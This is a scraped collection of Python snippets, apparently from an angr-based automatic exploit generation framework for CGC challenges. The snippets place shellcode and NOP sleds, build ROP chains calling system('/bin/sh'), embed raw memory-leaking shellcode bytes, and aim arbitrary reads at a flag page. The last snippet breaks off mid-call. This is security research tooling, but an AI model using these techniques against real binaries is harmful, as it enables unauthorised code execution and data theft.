Beispiel #1
0
    def apply(self, **kwargs):

        # can only exploit ip overwrites
        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        if not self.crash.project.loader.main_object.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        # try to write shellcode into global memory
        shellcode = self.shellcode.get_default(**kwargs)
        shc_addr, shc_constraint = self._write_global_data(shellcode)
        if shc_addr is None:
            try:
                shc_addr, shc_constraint = self._read_in_global_data(shellcode)
            except CannotExploit as e:
                raise CannotExploit("[%s] cannot call read, %s" %
                                    (self.name, e.message))
            if shc_addr is None:
                raise CannotExploit("[%s] cannot write in shellcode" %
                                    self.name)

        # apply the constraint that shellcode must exist in memory
        self.crash.state.add_constraints(shc_constraint)

        # add the constraint that the ip must point at the shellcode
        self.crash.state.add_constraints(self.crash.state.ip == shc_addr)

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" %
                                self.name)

        return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
Beispiel #2
0
    def apply(self, **kwargs):

        # can only exploit ip overwrites
        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        if not self.crash.project.loader.main_bin.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        # try to write shellcode into global memory
        shc_addr = kwargs["hijack"]
        if shc_addr is None:
            raise CannotExploit(
                "[%s] Did not give me the addr to hijack ip, %s" %
                (self.name, e.message))

        # add the constraint that the ip must point at the shellcode
        self.crash.state.add_constraints(self.crash.state.ip == shc_addr)

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" %
                                self.name)

        return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
Beispiel #3
0
    def apply(self, **kwargs):

        if self.rop is None:
            raise CannotExploit("no rop available")

        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit(
                "can only apply this technique to ip overwrite vulnerabilities"
            )

        min_chain = None
        chosen_register = None

        value_var = claripy.BVS('register_value',
                                self.crash.project.arch.bits,
                                explicit_name=True)
        for register in RopSetRegister.cgc_registers:
            try:
                chain = self.rop.set_regs(**{register: value_var})
                if min_chain is None or chain.payload_bv().size(
                ) < min_chain.payload_bv().size():
                    chosen_register = register
                    min_chain = chain
            except angrop.errors.RopException:
                l.debug("no rop chains which set register %s", register)

        if min_chain is not None:
            return self.set_register(chosen_register, min_chain, value_var)

        raise CannotExploit("no register setting chains")
Beispiel #4
0
    def set_register(self, register):
        """
        :param register
        set a register with shellcode on cgc
        """

        # can only exploit ip overwrites
        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        state = self.crash.state

        if self._ip_bitcnt < CircumstantialSetRegister.bitmask_threshold:
            raise CannotExploit("not enough controlled bits of ip")

        # see if the register value is nearly unconstrained
        reg = getattr(state.regs, register)

        # we need to make sure that the pc and this register don't conflict
        conflict = not state.satisfiable(
            extra_constraints=(reg != state.regs.pc, ))
        if conflict:
            raise CannotExploit(
                "register %s conflicts with pc, pc and register must be equal"
                % register)

        # get the register's bitmask
        reg_bitmask, reg_bitcnt = self.get_bitmask_for_var(state, reg)

        if reg_bitcnt >= CircumstantialSetRegister.bitmask_threshold:
            if not any(
                [v.startswith('file_/dev/stdin') for v in reg.variables]):
                raise CannotExploit(
                    "register %s was symbolic but was not tainted by user input"
                    % register)

            l.info("can circumstantially set register %s", register)

            ccp = self.crash.copy()

            value_var = claripy.BVS('value_var', 32, explicit_name=True)
            ip_var = claripy.BVS('ip_var', 32, explicit_name=True)

            reg = getattr(ccp.state.regs, register)
            ccp.state.add_constraints(reg == value_var)
            ccp.state.add_constraints(ccp.state.regs.ip == ip_var)

            mem = [reg] + [ccp.state.regs.ip]

            return CGCType1CircumstantialExploit(ccp, register, reg_bitmask,
                                                 self._ip_bitmask, mem,
                                                 value_var, ip_var)
        else:
            raise CannotExploit(
                "register %s's value does not appear to be unconstrained" %
                register)
Beispiel #5
0
    def set_register(self, register):
        '''
        set a register with shellcode on cgc
        '''

        # can only exploit ip overwrites
        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        if not self.crash.project.loader.main_object.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        value_var = claripy.BVS('value_var', 32, explicit_name=True)
        ip_var = claripy.BVS('ip_var', 32, explicit_name=True)
        shellcode = self.shellcode.get_shellcode('setregister',
                                                 register=register,
                                                 value=value_var,
                                                 pc=ip_var)

        # _ip_overwrite_call_shellcode now attempts to insert a nop sled
        # as a result it returns two addresses, one address where the shellcode is
        # actually placed, and one address which actually points to where ip should go
        # (inside the nop sled, presumably)
        jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode(
            shellcode, [value_var, ip_var])

        ccp = self.crash.copy()

        ccp.state.add_constraints(ccp.state.regs.ip == jump_addr)

        # add nop sled if we were able to place one
        if jump_addr != shellcode_addr:
            nop_len = shellcode_addr - jump_addr
            sym_mem = ccp.state.memory.load(jump_addr, nop_len)
            nop_bvv = ccp.state.solver.BVV(b"\x90" * nop_len)
            ccp.state.add_constraints(sym_mem == nop_bvv)

        shc_sym_mem = ccp.state.memory.load(shellcode_addr,
                                            len(shellcode) // 8)
        ccp.state.add_constraints(shc_sym_mem == shellcode)

        # get bitmask
        reg_bitmask, reg_bitcnt = self.get_bitmask_for_var(
            ccp.state, value_var)
        ip_bitmask, ip_bitcnt = self.get_bitmask_for_var(ccp.state, ip_var)

        if reg_bitcnt > self.bitmask_threshold and ip_bitcnt > self.bitmask_threshold:
            return CGCType1ShellcodeExploit(ccp, register, reg_bitmask,
                                            ip_bitmask, shc_sym_mem, value_var,
                                            ip_var)

        raise CannotExploit(
            "not enough control over registers in shellcode once placed in memory"
        )
Beispiel #6
0
    def apply(self, **kwargs):

        if self.rop is None:
            raise CannotExploit("no rop available")

        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip", self.name)


        state = self.crash.state
        need_control = ['eax', 'ebx', 'ecx', 'edx', 'esi']
        rop_uncontrolled = [ ]
        # any one of these we can't control with rop?
        for register in need_control:
            try:
                self.rop.set_regs(**{register: 0x41414141})
            except angrop.errors.RopException:
                l.debug("unable to set register %s with rop in leaker", register)
                rop_uncontrolled.append(register)

        constraints = self._get_circumstantial_constraints(state,
                rop_uncontrolled)

        if not state.satisfiable(extra_constraints=constraints):
            raise CannotExploit("circumstantial constraints generated were unsatisfactory for a rop leaker")

        address_var = claripy.BVS('address_var', self.crash.project.arch.bits, explicit_name=True)
        length_var = claripy.BVS('length_var', self.crash.project.arch.bits, explicit_name=True)
        chain = self.rop.do_syscall(2, [1, address_var, length_var, 0x0],
                ignore_registers=rop_uncontrolled)

        chain, chain_addr = self._ip_overwrite_with_chain(chain)

        ccp = self.crash.copy()

        # add the constraints introduced by rop
        ccp.state.solver.add(*chain._blank_state.solver.constraints)

        chain_bv = chain.payload_bv()

        ch_sym_mem = ccp.state.memory.load(chain_addr, len(chain_bv)//8)
        ccp.state.add_constraints(ch_sym_mem == chain_bv)

        # windup and add constraints
        new_st = self._windup_to_syscall(ccp.state)

        constraints = self._get_circumstantial_constraints(new_st, rop_uncontrolled)
        for con in constraints:
            new_st.add_constraints(con)

        ccp.state = new_st

        return CGCType2RopExploit(ccp, ch_sym_mem, address_var, length_var)
Beispiel #7
0
    def get_bitmask_for_var(self, state, var):

        # filter vars with only one value
        if len(state.se.any_n_int(var, 2)) == 1:
            return 0, 0

        # test each bit of the var
        unconstrained_bitmask = 0
        unconstrained_bitcnt = 0
        for bit in xrange(var.size()):
            l.debug("testing symbolic control of bit %d in var %s", bit, var)
            if len(state.se.any_n_int(var & 1 << bit, 2)) == 2:
                unconstrained_bitcnt += 1
                unconstrained_bitmask |= (1 << bit)
        l.debug("unconstrained bitmask %#x", unconstrained_bitmask)

        # reduce the number of claimed bits
        unconstrained_bitmask = self.reduce_claimed_bitmask(
            unconstrained_bitmask, unconstrained_bitcnt)
        unconstrained_bitcnt = bin(unconstrained_bitmask).count("1")

        if not self.check_bitmask(state, var, unconstrained_bitmask):
            raise CannotExploit("computed bitmask does not appear to be valid")

        l.debug("reduced bitmask %#x", unconstrained_bitmask)
        return unconstrained_bitmask, unconstrained_bitcnt
Beispiel #8
0
    def _explore_arbitrary_read(self, path_file=None):
        # crash type was an arbitrary-read, let's point the violating address at a
        # symbolic memory region

        largest_regions = sorted(self.symbolic_mem.items(),
                                 key=operator.itemgetter(1),
                                 reverse=True)

        min_read = self.state.se.min(self.violating_action.addr)
        max_read = self.state.se.max(self.violating_action.addr)

        largest_regions = map(operator.itemgetter(0), largest_regions)
        # filter addresses which fit between the min and max possible address
        largest_regions = filter(lambda x: (min_read <= x) and (x <= max_read),
                                 largest_regions)

        # populate the rest of the list with addresses from the binary
        min_addr = self.project.loader.main_object.min_addr
        max_addr = self.project.loader.main_object.max_addr
        pages = range(min_addr, max_addr, 0x1000)
        pages = filter(lambda x: (min_read <= x) and (x <= max_read), pages)

        read_addr = None
        constraint = None
        for addr in largest_regions + pages:
            read_addr = addr
            constraint = self.violating_action.addr == addr

            if self.state.se.satisfiable(extra_constraints=(constraint, )):
                break

            constraint = None

        if constraint is None:
            raise CannotExploit(
                "unable to find suitable read address, cannot explore")

        self.state.add_constraints(constraint)

        l.debug("constraining input to read from address %#x", read_addr)

        l.info(
            "starting a new crash exploration phase based off the crash at address 0x%x",
            self.violating_action.ins_addr)

        new_input = ChallRespInfo.atoi_dumps(self.state)
        if path_file is not None:
            l.info("dumping new crash evading input into file '%s'", path_file)
            with open(path_file, 'w') as f:
                f.write(new_input)

        # create a new crash object starting here
        use_rop = False if self.rop is None else True
        self.__init__(self.binary,
                      new_input,
                      explore_steps=self.explore_steps + 1,
                      constrained_addrs=self.constrained_addrs +
                      [self.violating_action],
                      use_rop=use_rop,
                      angrop_object=self.rop)
Beispiel #9
0
 def _get_state_pointing_to_addr(state, violating_addr, goal_addr):
     if state.se.satisfiable(extra_constraints=(violating_addr == goal_addr,)):
         cp = state.copy()
         cp.add_constraints(violating_addr == goal_addr)
         return cp
     else:
         raise CannotExploit("unable to point arbitrary-read at the flag copy")
Beispiel #10
0
    def __init__(self, crash, shellcode_opts=None, blacklist_techniques=None):
        '''
        :param crash: an exploitable crash object
        :param shellcode_opts: options to pass to the ShellcodeFactory
        :param blacklist_techniques: a set of techniques to skip
        '''

        if not crash.exploitable():
            raise CannotExploit("crash cannot be exploited")

        self.crash = crash

        self.binary = crash.binary

        self.os = crash.project.loader.main_bin.os

        project = angr.Project(self.binary)
        # let's put together our rop gadgets
        self.rop = self.crash.rop

        # and let's gather some shellcode
        shellcode_opts = {} if shellcode_opts is None else shellcode_opts
        self.shellcode = ShellcodeFactory(project, **shellcode_opts)

        self.arsenal = {}

        self.blacklist_techniques = set(
        ) if blacklist_techniques is None else blacklist_techniques
Beispiel #11
0
    def point_to_flag(self):
        '''
        Create a testcase which points an arbitrary-read crash at the flag page.
        '''
        if not self.one_of(
            [Vulnerability.ARBITRARY_READ, Vulnerability.ARBITRARY_TRANSMIT]):
            raise CannotExploit(
                "only arbitrary-reads can be exploited this way")

        violating_actions = []

        if self.one_of([Vulnerability.ARBITRARY_READ]):
            if self.violating_action:
                violating_actions.append(
                    (self.state, self.violating_action.addr))

        zp = self.state.get_plugin('zen_plugin')
        if zp is not None:
            for st, addr in zp.controlled_transmits:
                self._tracer.remove_preconstraints(
                    self.project.factory.path(st))
                violating_actions.append((st, addr))

        for st, va in violating_actions:
            try:
                cp = self._get_state_pointing_to_flag(st, va)
                self._reconstrain_flag_data(cp)
                yield ChallRespInfo.atoi_dumps(cp)
            except CannotExploit:
                l.warning("crash couldn't be pointed at flag skipping")
                pass

        # look for contiguous flag bytes of length 4 or longer and try to leak only one
        max_tries = 20
        num_tries = 0
        for start, length in self.flag_mem.items():
            if length < 4:
                continue
            data = self.state.memory.load(start, length)
            four_flag_offset = self._four_flag_bytes_offset(data)
            if four_flag_offset is not None:
                leak_addr = start + four_flag_offset
                l.debug("found flag at addr %#x", leak_addr)
                for st, va in violating_actions:
                    if num_tries > max_tries:
                        l.warning("passed the maximum number of tries")
                        break
                    num_tries += 1
                    try:
                        cp = self._get_state_pointing_to_addr(
                            st, va, leak_addr)
                        self._reconstrain_flag_data(cp)
                        l.debug("pointed successfully")
                        yield ChallRespInfo.atoi_dumps(cp)
                        # okay we got one we are done
                        return
                    except CannotExploit:
                        l.warning("crash couldn't be pointed at flag skipping")
                        pass
Beispiel #12
0
    def _explore_arbitrary_write(self, path_file=None):
        # crash type was an arbitrary-write, this routine doesn't care about taking advantage
        # of the write it just wants to try to find a more valuable crash by pointing the write
        # at some writable memory

        # find a writable data segment

        elf_objects = self.project.loader.all_elf_objects

        assert len(elf_objects
                   ) > 0, "target binary is not ELF or CGC, unsupported by rex"

        min_write = self.state.se.min(self.violating_action.addr)
        max_write = self.state.se.max(self.violating_action.addr)

        segs = []
        for eobj in elf_objects:
            segs.extend(filter(lambda s: s.is_writable, eobj.segments))

        segs = filter(
            lambda s: (s.min_addr <= max_write) and (s.max_addr >= min_write),
            segs)

        write_addr = None
        constraint = None
        for seg in segs:
            for page in range(seg.min_addr, seg.max_addr, 0x1000):
                write_addr = page
                constraint = self.violating_action.addr == page

                if self.state.se.satisfiable(extra_constraints=(constraint, )):
                    break

                constraint = None

        if constraint is None:
            raise CannotExploit("Cannot point write at any writeable segments")

        self.state.add_constraints(constraint)
        l.debug("constraining input to write to address %#x", write_addr)

        l.info(
            "starting a new crash exploration phase based off the crash at address %#x",
            self.violating_action.ins_addr)
        new_input = ChallRespInfo.atoi_dumps(self.state)
        if path_file is not None:
            l.info("dumping new crash evading input into file '%s'", path_file)
            with open(path_file, 'w') as f:
                f.write(new_input)

        use_rop = False if self.rop is None else True
        self.__init__(self.binary,
                      new_input,
                      explore_steps=self.explore_steps + 1,
                      constrained_addrs=self.constrained_addrs +
                      [self.violating_action],
                      use_rop=use_rop,
                      angrop_object=self.rop)
Beispiel #13
0
    def apply(self, **kwargs):
        '''
        set a register with shellcode on cgc
        '''

        # can only exploit ip overwrites
        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        if not self.crash.project.loader.main_object.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        # try to write shellcode into global memory
        address_var = claripy.BVS('address_var', 32, explicit_name=True)
        length_var = claripy.BVS('length_var', 32, explicit_name=True)

        self.crash.state.add_constraints(address_var >= 0x4347c000)
        self.crash.state.add_constraints(address_var < 0x4347d000)

        self.crash.state.add_constraints(length_var >= 4)
        shellcode = self.shellcode.get_shellcode('leakaddress',
                                                 address=address_var,
                                                 length=length_var)

        jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode(
            shellcode)

        ccp = self.crash.copy()

        ccp.state.add_constraints(ccp.state.regs.ip == jump_addr)

        # add nop sled if we were able to place one
        if jump_addr != shellcode_addr:
            nop_len = shellcode_addr - jump_addr
            sym_mem = ccp.state.memory.load(jump_addr, nop_len)
            nop_bvv = ccp.state.solver.BVV(b"\x90" * nop_len)
            ccp.state.add_constraints(sym_mem == nop_bvv)

        shc_sym_mem = ccp.state.memory.load(shellcode_addr,
                                            len(shellcode) // 8)
        ccp.state.add_constraints(shc_sym_mem == shellcode)

        return CGCType2ShellcodeExploit(ccp, shc_sym_mem, address_var,
                                        length_var)
Beispiel #14
0
    def _windup_to_syscall(self, state):
        '''
        windup state to a state just about to make a syscall
        '''

        if self._at_syscall(state):
            return state

        successors = self.crash.project.factory.successors(state)
        if len(successors.flat_successors) > 0:
            return self._windup_to_syscall(successors.flat_successors[0])

        raise CannotExploit("unable to reach syscall instruction")
    def apply(self, **kwargs):

        # try to write 'jmp sp' into global memory
        try:
            jmpsp_stub = self.shellcode.get_shellcode('jmpsp')
        except NoSuchShellcode as e:
            raise CannotExploit("[%s] %s" % (self.name, e))

        jmpsp_addr, jmpsp_constraint = self._write_global_data(jmpsp_stub)
        if jmpsp_addr is None:
            try:
                jmpsp_addr, jmpsp_constraint = self._read_in_global_data(
                    jmpsp_stub)
            except CannotExploit as e:
                raise CannotExploit("[%s] cannot call read, %s" %
                                    (self.name, e))
            if jmpsp_addr is None:
                raise CannotExploit("[%s] cannot write in 'jmp sp'" %
                                    self.name)

        # apply the constraint that 'jmp sp' must exist in memory
        self.crash.state.add_constraints(jmpsp_constraint)

        # add the constraint that the ip must point at the 'jmp sp' stub
        self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr)

        # add the constraint that our shellcode must exist at sp
        shellcode = self.crash.state.solver.BVV(self.shellcode.get_default())
        stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp,
                                                 len(shellcode) // 8)
        self.crash.state.add_constraints(stack_mem == shellcode)

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" %
                                self.name)

        return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
Beispiel #16
0
    def apply(self, **kwargs):
        if self.rop is None:
            raise CannotExploit("no rop available")

        # can only exploit ip overwrites
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        # find the address of system
        system_addr = self._find_func_address("system")
        if system_addr is None:
            raise CannotExploit("[%s] the function system could not be found in the binary" % self.name)

        # write out "/bin/sh\x00"
        target_str = b'/bin/sh\0'
        cmd_addr, cmd_constraint = self._write_global_data(target_str)
        if cmd_addr is None:
            try:
                cmd_addr, cmd_constraint = self._read_in_global_data(target_str)
            except CannotExploit as e:
                raise CannotExploit("[%s] cannot call read, %s" % (self.name, e))
            if cmd_addr is None:
                raise CannotExploit("[%s] cannot write in /bin/sh" % self.name)

        # craft the caller chain
        try:
            chain = self.rop.func_call(system_addr, [cmd_addr])
        except RopException:
            raise CannotExploit("[%s] cannot craft caller chain" % self.name)

        # apply the constraint that /bin/sh must exist in the binary
        self.crash.state.add_constraints(cmd_constraint)

        # insert the chain into the binary
        try:
            chain, chain_addr = self._ip_overwrite_with_chain(chain, self.crash.state)
        except CannotExploit:
            raise CannotExploit("[%s] unable to insert chain" % self.name)

        # add the constraint to the state that the chain must exist at the address
        chain_mem = self.crash.state.memory.load(chain_addr, chain.payload_len)
        self.crash.state.add_constraints(chain_mem == self.crash.state.solver.BVV(chain.payload_str()))

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)

        return Exploit(self.crash, bypasses_nx=True, bypasses_aslr=True)
Beispiel #17
0
    def apply(self, **kwargs):
        '''
        set a register with shellcode on cgc
        '''

        # can only exploit ip overwrites
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)


        if not self.crash.project.loader.main_bin.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        # try to write shellcode into global memory
        exploitReadShellCode_start = "\xeb\x03\x59\xeb\x0e\xe8\xf8\xff\xff\xff\x5b\x52\x65\x73\x75\x6c\x74\x5d\x3a\x31\xc0\x83\xc0\x04\x31\xdb\x43\x89\xc2\x83\xc2\x05\xcd\x80\x31\xc0\x83\xc0\x04\x31\xdb\x43\xb9"
        exploitReadShellCode_end   = "\x89\xc2\xcd\x80\xc3"
        target_Addr = kwargs['read_addr']
        shellcode = exploitReadShellCode_start + target_Addr +exploitReadShellCode_end
        shc_addr, shc_constraint = self._write_global_data(shellcode)
        if shc_addr is None:
            try:
                shc_addr, shc_constraint = self._read_in_global_data(shellcode)
            except CannotExploit as e:
                raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message))
            if shc_addr is None:
                raise CannotExploit("[%s] cannot write in shellcode" % self.name)

        # apply the constraint that shellcode must exist in memory
        self.crash.state.add_constraints(shc_constraint)

        # add the constraint that the ip must point at the shellcode
        self.crash.state.add_constraints(self.crash.state.ip == shc_addr)

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)

        return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
Beispiel #18
0
    def _windup_to_syscall(self, state):
        '''
        windup state to a state just about to make a syscall
        '''

        p = self.crash.project.factory.path(state=state)
        successors = p.step()

        if self._at_syscall(p):
            return p.state

        if len(successors) > 0:
            return self._windup_to_syscall(successors[0].state)

        raise CannotExploit("unable to reach syscall instruction")
Beispiel #19
0
    def _prepare_exploit_factory(self, blacklist_symbolic_explore=True, **kwargs):
        # crash should have been classified at this point
        if not self.exploitable():
            raise CannotExploit("non-exploitable crash")

        if blacklist_symbolic_explore:
            if "blacklist_techniques" in kwargs:
                kwargs["blacklist_techniques"].add("explore_for_exploit")
            else:
                kwargs["blacklist_techniques"] = {"explore_for_exploit"}

        if self.os == 'cgc':
            exploit = CGCExploitFactory(self, **kwargs)
        else:
            exploit = ExploitFactory(self, **kwargs)

        return exploit
    def apply(self, **kwargs):

        min_chain = None
        chosen_register = None

        value_var = claripy.BVV(0xc0debabe, self.crash.project.arch.bits)
        for register in self.target_registers:
            try:
                chain = self.rop.set_regs(**{register: value_var})
                if min_chain is None or chain.payload_bv().size() < min_chain.payload_bv().size():
                    chosen_register = register
                    min_chain = chain
            except angrop.errors.RopException:
                l.debug("no rop chains which set register %s", register)

        if min_chain is not None:
            return self.set_register(chosen_register, min_chain, value_var)

        raise CannotExploit("no register setting chains")
Beispiel #21
0
    def _get_state_pointing_to_flag(state, violating_addr):
        cgc_magic_page_addr = 0x4347c000

        # see if we can point randomly inside the flag (prevent people filtering exactly 0x4347c000)
        rand_addr = random.randint(cgc_magic_page_addr, cgc_magic_page_addr+0x1000-4)
        if state.se.satisfiable(extra_constraints=(violating_addr == rand_addr,)):
            cp = state.copy()
            cp.add_constraints(violating_addr == rand_addr)
            return cp

        # see if we can point anywhere at flag
        if state.se.satisfiable(extra_constraints=
                                (violating_addr >= cgc_magic_page_addr,
                                 violating_addr < cgc_magic_page_addr+0x1000-4)):
            cp = state.copy()
            cp.add_constraints(violating_addr >= cgc_magic_page_addr)
            cp.add_constraints(violating_addr < cgc_magic_page_addr+0x1000-4)
            return cp
        else:
            raise CannotExploit("unable to point arbitrary-read at the flag page")
Beispiel #22
0
    def __init__(self,
                 crash,
                 shellcode_opts=None,
                 blacklist_techniques=None,
                 hijack=None,
                 read_addr=None,
                 write_addr=None,
                 write_value=None,
                 pov_dir=None):
        '''
        :param crash: an exploitable crash object
        :param shellcode_opts: options to pass to the ShellcodeFactory
        :param blacklist_techniques: a set of techniques to skip
        '''

        if not crash.exploitable():
            raise CannotExploit("crash cannot be exploited")

        self.crash = crash
        self.nameIndex = 0

        self.binary = crash.binary

        self.os = crash.project.loader.main_bin.os

        project = angr.Project(self.binary)
        # let's put together our rop gadgets
        self.rop = self.crash.rop
        shellcode_opts = {} if shellcode_opts is None else shellcode_opts
        self.shellcode = ShellcodeFactory(project, **shellcode_opts)

        self.arsenal = {}

        self.blacklist_techniques = set(
        ) if blacklist_techniques is None else blacklist_techniques
        self.hijack_addr = None if hijack is None else hijack
        self.read_addr = None if read_addr is None else read_addr
        self.write_addr = None if write_addr is None else write_addr
        self.write_value = None if write_value is None else write_value
        self.pov_dir = None if pov_dir is None else pov_dir
Beispiel #23
0
    def set_register(self, register, chain, value_var):
        #pylint:disable=arguments-differ

        ip_var = claripy.BVS('ip_value',
                             self.crash.project.arch.bits,
                             explicit_name=True)

        chain, chain_addr = self._ip_overwrite_with_chain(
            chain, assert_next_ip_controlled=True)

        l.debug("attempting to insert chain of length %d",
                len(chain.payload_str()))

        ccp = self.crash.copy()

        # add the constraints introduced by rop
        cons = [
            a for a in chain._blank_state.solver.constraints
            if not any(v.startswith("next_addr") for v in a.variables)
        ]
        ccp.state.solver.add(*cons)

        chain.add_value(ip_var)
        chain_bv = chain.payload_bv()

        ch_sym_mem = ccp.state.memory.load(chain_addr, len(chain_bv) // 8)
        ccp.state.add_constraints(ch_sym_mem == chain_bv)

        reg_bitmask, reg_bitcnt = self.get_bitmask_for_var(
            ccp.state, value_var)
        ip_bitmask, ip_bitcnt = self.get_bitmask_for_var(ccp.state, ip_var)

        if reg_bitcnt > self.bitmask_threshold and ip_bitcnt > self.bitmask_threshold:
            return CGCType1RopExploit(ccp, register, reg_bitmask, ip_bitmask,
                                      ch_sym_mem, value_var, ip_var)

        raise CannotExploit(
            "not enough control over registers in rop chain once placed in memory"
        )
Beispiel #24
0
    def apply(self, **kwargs):

        # can only exploit ip overwrites
        if not self.crash.one_of(
            [Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)

        if not self.crash.project.loader.main_bin.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        # try to write 'jmp sp' into global memory
        try:
            jmpsp_stub = self.shellcode.get_shellcode('jmpsp')
        except NoSuchShellcode as e:
            raise CannotExploit("[%s] %s" % (self.name, e.message))

        jmpsp_addr, jmpsp_constraint = self._write_global_data(jmpsp_stub)
        if jmpsp_addr is None:
            try:
                jmpsp_addr, jmpsp_constraint = self._read_in_global_data(
                    jmpsp_stub)
            except CannotExploit as e:
                raise CannotExploit("[%s] cannot call read, %s" %
                                    (self.name, e.message))
            if jmpsp_addr is None:
                raise CannotExploit("[%s] cannot write in 'jmp sp'" %
                                    self.name)

        # apply the constraint that 'jmp sp' must exist in memory
        self.crash.state.add_constraints(jmpsp_constraint)

        # add the constraint that the ip must point at the 'jmp sp' stub
        self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr)

        # add the constraint that our shellcode must exist at sp
        shellcode = self.crash.state.se.BVV(
            self.shellcode.get_default(**kwargs))
        stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp,
                                                 len(shellcode) / 8)
        self.crash.state.add_constraints(stack_mem == shellcode)

        if not self.crash.state.satisfiable():
            raise CannotExploit("[%s] generated exploit is not satisfiable" %
                                self.name)

        return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
Beispiel #25
0
    def __init__(self,
                 binary,
                 crash=None,
                 pov_file=None,
                 aslr=None,
                 constrained_addrs=None,
                 crash_state=None,
                 prev_path=None,
                 hooks=None,
                 format_infos=None,
                 rop_cache_tuple=None,
                 use_rop=True,
                 explore_steps=0,
                 angrop_object=None):
        '''
        :param binary: path to the binary which crashed
        :param crash: string of input which crashed the binary
        :param pov_file: CGC PoV describing a crash
        :param aslr: analyze the crash with aslr on or off
        :param constrained_addrs: list of addrs which have been constrained during exploration
        :param crash_state: an already traced crash state
        :param prev_path: path leading up to the crashing block
        :param hooks: dictionary of simprocedure hooks, addresses to simprocedures
        :param format_infos: a list of atoi FormatInfo objects that should be used when analyzing the crash
        :param rop_cache_tuple: a angrop tuple to load from
        :param use_rop: whether or not to use rop
        :param explore_steps: number of steps which have already been explored, should only set by exploration methods
        :param angrop_object: an angrop object, should only be set by exploration methods
        '''

        self.binary = binary
        self.crash = crash
        self.pov_file = pov_file
        self.constrained_addrs = [] if constrained_addrs is None else constrained_addrs
        self.hooks = hooks
        self.explore_steps = explore_steps

        if self.explore_steps > 10:
            raise CannotExploit(
                "Too many steps taken during crash exploration")

        self.project = angr.Project(binary)

        # we search for ROP gadgets now to avoid the memory exhaustion bug in pypy
        # hash binary contents for rop cache name
        binhash = hashlib.md5(open(self.binary).read()).hexdigest()
        rop_cache_path = os.path.join(
            "/tmp", "%s-%s-rop" % (os.path.basename(self.binary), binhash))

        if use_rop:
            if angrop_object is not None:
                self.rop = angrop_object
            else:
                self.rop = self.project.analyses.ROP()
                if rop_cache_tuple is not None:
                    l.info("loading rop gadgets from cache tuple")
                    self.rop._load_cache_tuple(rop_cache_tuple)
                elif os.path.exists(rop_cache_path):
                    l.info("loading rop gadgets from cache '%s'",
                           rop_cache_path)
                    self.rop.load_gadgets(rop_cache_path)
                else:
                    self.rop.find_gadgets(show_progress=False)
                    self.rop.save_gadgets(rop_cache_path)
        else:
            self.rop = None

        self.os = self.project.loader.main_object.os

        # determine the aslr of a given os and arch
        if aslr is None:
            if self.os == "cgc":  # cgc has no ASLR, but we don't assume a stackbase
                self.aslr = False
            else:  # we assume linux is going to enfore stackbased aslr
                self.aslr = True
        else:
            self.aslr = aslr

        if crash_state is None:
            # run the tracer, grabbing the crash state
            remove_options = {
                so.TRACK_REGISTER_ACTIONS, so.TRACK_TMP_ACTIONS,
                so.TRACK_JMP_ACTIONS, so.ACTION_DEPS,
                so.TRACK_CONSTRAINT_ACTIONS, so.LAZY_SOLVES
            }
            add_options = {
                so.MEMORY_SYMBOLIC_BYTES_MAP, so.TRACK_ACTION_HISTORY,
                so.CONCRETIZE_SYMBOLIC_WRITE_SIZES,
                so.CONCRETIZE_SYMBOLIC_FILE_READ_SIZES
            }

            # faster place to check for non-crashing inputs

            # optimized crash check
            if self.project.loader.main_object.os == 'cgc':

                if not tracer.Runner(binary, input=self.crash).crash_mode:
                    if not tracer.Runner(binary,
                                         input=self.crash,
                                         report_bad_args=True).crash_mode:
                        l.warning("input did not cause a crash")
                        raise NonCrashingInput

            self._tracer = tracer.Tracer(binary,
